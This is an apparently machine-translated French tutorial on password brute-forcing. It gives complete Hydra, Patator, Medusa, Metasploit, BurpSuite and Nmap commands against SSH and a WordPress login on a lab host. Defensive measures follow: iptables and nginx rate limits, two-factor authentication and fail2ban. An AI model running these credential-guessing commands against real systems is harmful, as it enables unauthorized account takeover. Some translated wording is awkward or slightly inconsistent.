
La force brute (attaque par force brute) est une méthode de résolution de problèmes mathématiques dont la complexité dépend du nombre de toutes les solutions possibles. Le terme brute-force lui-même est généralement utilisé dans le contexte des attaques de pirates lorsqu'un attaquant tente de récupérer un nom d'utilisateur / mot de passe pour un compte ou un service.
Considérez les outils qui peuvent être utilisés pour effectuer des attaques par force brute sur les services SSH et WEB disponibles dans Kali Linux (Patator, Medusa, Hydra, Metasploit), ainsi que BurpSuite.
Tous les matériaux fournis dans le cadre de cet article sont destinés à un usage pédagogique uniquement. L'utilisation de matériaux à des fins illégales et illégales est interdite.
Brute-force ssh
Par exemple, prenez la machine de test 192.168.60.50 et essayez de trouver le mot de passe du test utilisateur par SSH. Nous utiliserons des mots de passe populaires du dictionnaire rockyou.txt standard.
PatatorPour sélectionner un mot de passe à l'aide de Patator, utilisez la commande:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'
où:
ssh_login - module requis
l'hôte est notre objectif
utilisateur - connexion
utilisateur à laquelle un mot de passe ou un fichier avec des connexions pour une sélection multiple est sélectionné
mot de passe - dictionnaire avec mots de passe
-x ignore: mesg = 'Échec de l'authentification' - commande de ne pas afficher de ligne avec ce message. Le paramètre de filtrage est sélectionné individuellement.

HydraPour sélectionner un mot de passe à l'aide d'Hydra, exécutez la commande:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
où:
-V - afficher une paire de nom d'utilisateur + mot de passe pendant l'itération
-f - arrête dès que le mot de passe pour la connexion spécifiée est trouvé
-P - chemin d'accès au dictionnaire avec mots de passe
ssh: //192.168.60.50 - indication de service et adresse IP de la victime

MédusePour sélectionner un mot de passe à l'aide de Medusa, exécutez la commande:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
où:
-h - adresse IP de la victime
-u - connexion
-P - chemin du dictionnaire
-M - sélection du module
-f - s'arrête après avoir trouvé une paire nom d'utilisateur / mot de passe valide
-v - réglage de l'affichage des messages à l'écran pendant le processus de sélection

MetasploitNous chercherons un outil pour mener des attaques par force brute sur SSH:
search ssh_login
et
search ssh_login
la réponse:

Nous utilisons le module:
use auxiliary/scanner/ssh/ssh_login
Pour afficher les paramètres nécessaires, utilisez la commande
show options
. Pour nous, c'est:
rhosts - adresse IP de la victime
rport - port
nom d'utilisateur - connexion SSH
userpass_file - chemin d'accès au dictionnaire
stop_on_success - arrête dès qu'il y a une paire nom d'utilisateur / mot de passe
threads - nombre de threads

L'indication des paramètres nécessaires se fait via la commande "
set ".
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
Après avoir spécifié les paramètres nécessaires, nous tapons la commande "
run " et attendons.

Contre-action
Limitez le nombre de connexions établies à l'aide d'un pare-feu. Exemple de configuration d'iptables:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
.
Une telle règle limitera l'accès à SSH pour chaque adresse IP à 1 connexion par seconde, ce qui complique considérablement la recherche. En outre, une solution efficace peut être l'utilisation d'une authentification à deux facteurs (par exemple, en utilisant eToken) ou une authentification en utilisant une paire de clés, ainsi que l'utilisation d'ACL basées sur des adresses IP.
WordPress à force brute
Prenons un autre exemple - la sélection du mot de passe pour la fenêtre d'autorisation du formulaire Web.

Par exemple, nous sélectionnerons le mot de passe dans le compte administrateur wordpress.
BurpsuiteTout d'abord, nous devons comprendre comment se déroule le processus d'autorisation. Pour cela, nous utiliserons BurpSuite. Nous devons essayer de nous connecter avec n'importe quel mot de passe et connexion afin de voir quelles demandes passent par BurpSuite.

Eh bien, nous avons vu une demande d'autorisation POST, nous allons travailler avec elle.
BODY indique quel identifiant et mot de passe ont été vérifiés, ce qui signifie que nous pouvons essayer de remplacer les valeurs dont nous avons besoin par nous-mêmes.
Nous transmettons cette demande à Intruder et nous sélectionnons les paramètres nécessaires pour l'attaque. Dans l'élément Positions de charge utile, nous laissons le type d'attaque comme tireur d'élite, mais pour vérification, nous ne laissons que le paramètre pwd. Ainsi, une attaque ne changera que ce paramètre.

Nous chargeons le dictionnaire nécessaire et commençons l'attaque.

D'après le comportement de l'application Web, nous voyons que le mot de passe incorrect renvoie le code de réponse 200. Après avoir recherché le dictionnaire, nous voyons que l'un des mots de passe a donné la réponse avec le code 302 - il est correct.

Cette méthode de force brute prend beaucoup plus de temps que lors de l'utilisation de Patator, Hydra, Medusa, etc. Même si nous avons pris un petit dictionnaire, BurpSuite a parcouru le dictionnaire pendant environ 40 minutes.
HydraEssayons de trouver le mot de passe en utilisant Hydra.
Comme nous le savons déjà, si l'autorisation est incorrecte, le code 200 est renvoyé, et en cas de succès, le code est 302. Essayons d'utiliser ces informations.
Pour commencer, utilisez la commande:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
Ici, nous indiquons les paramètres requis:
-l - nom d'utilisateur
-P - dictionnaire avec mots de passe
-t - nombre de threads
http-post-form - type de formulaire, nous avons POST.
/wp-login.php est l'URL de la page d'autorisation
^ USER ^ - indique où remplacer le nom d'utilisateur
^ PASS ^ - indique où remplacer le mot de passe du dictionnaire
S = 302 - une indication de quelle réponse s'appuyer sur Hydra. Dans notre cas, la réponse est 302 en cas d'autorisation réussie.

PatatorComme nous le savons déjà, si l'autorisation échoue, le code 200 est retourné, et en cas de succès, il renvoie 302. Nous utiliserons le même principe qu'avec Hydra:
Le lancement est effectué par la commande:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz - module pour l'attaque http par force brute
url - adresse de la page avec autorisation
FILE0 - chemin d'accès au dictionnaire avec mots de passe
corps - informations transmises dans la demande POST lors de l'autorisation
-t - nombre de threads
-x - Dans ce cas, nous avons spécifié la commande de ne pas afficher les lignes de message contenant un paramètre avec le code 200
accept_cookie - enregistre le paramètre du cookie et le transmet à la prochaine requête
En conséquence, nous avons réussi à trouver un mot de passe.

NmapL'utilitaire Nmap permet, entre autres, la sélection de mots de passe pour les formulaires d'autorisation Web, si vous utilisez le script
http-wordpress-brute avec les arguments correspondants:
--script-args - ajout d'arguments
user ou
userdb - connexion ou fichier avec connexions
pass ou
passdb - spécifiez un mot de passe ou un dictionnaire
thread - nombre de threads
firstonly = true - affiche le résultat après le premier mot de passe correct
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

Contre-action
Limitez (compliquez) les attaques par force brute sur les applications Web en utilisant iptables (similaire à SSH) et nginx. Pour ce faire, créez une zone limite:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...
et l'utiliser:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}
Ces paramètres limiteront le nombre de demandes d'une adresse IP à 40 par seconde.
Pour compliquer la tâche d'énumération, vous pouvez utiliser les méthodes suivantes:
- L'utilisation d'un pare-feu et d'autres logiciels pour limiter le nombre d'appels au service protégé. Vous pouvez découvrir comment nous utilisons l'apprentissage automatique pour détecter de telles attaques (y compris celles qui sont distribuées) dans un
article .
- L'utilisation d'outils qui empêchent une vérification rapide de l'exactitude de la clé (par exemple, Captcha).
Conclusion
Dans cet article, nous avons examiné superficiellement certains outils populaires. Vous pouvez réduire le risque de deviner un mot de passe en suivant ces instructions:
- Utilisez des mots de passe résistants aux mots de passe;
- Ne créez pas de mots de passe à l'aide d'informations personnelles, par exemple: date de naissance ou nom + date de naissance ou téléphone portable;
- changer régulièrement le mot de passe;
- Utilisez des mots de passe uniques sur tous les comptes.
Peu de personnes suivent ces recommandations (ainsi que des recommandations pour un développement Web sécurisé), vous devez donc utiliser diverses solutions logicielles qui vous permettent de:
- limiter la connexion par adresse IP ou, si cela n'est pas possible, limiter le nombre de connexions simultanées au service (en utilisant iptables, nginx et autres);
- utiliser l'authentification à deux facteurs;
- Détectez et bloquez ces attaques en utilisant SIEM,
WAF ou autres (par exemple, fail2ban).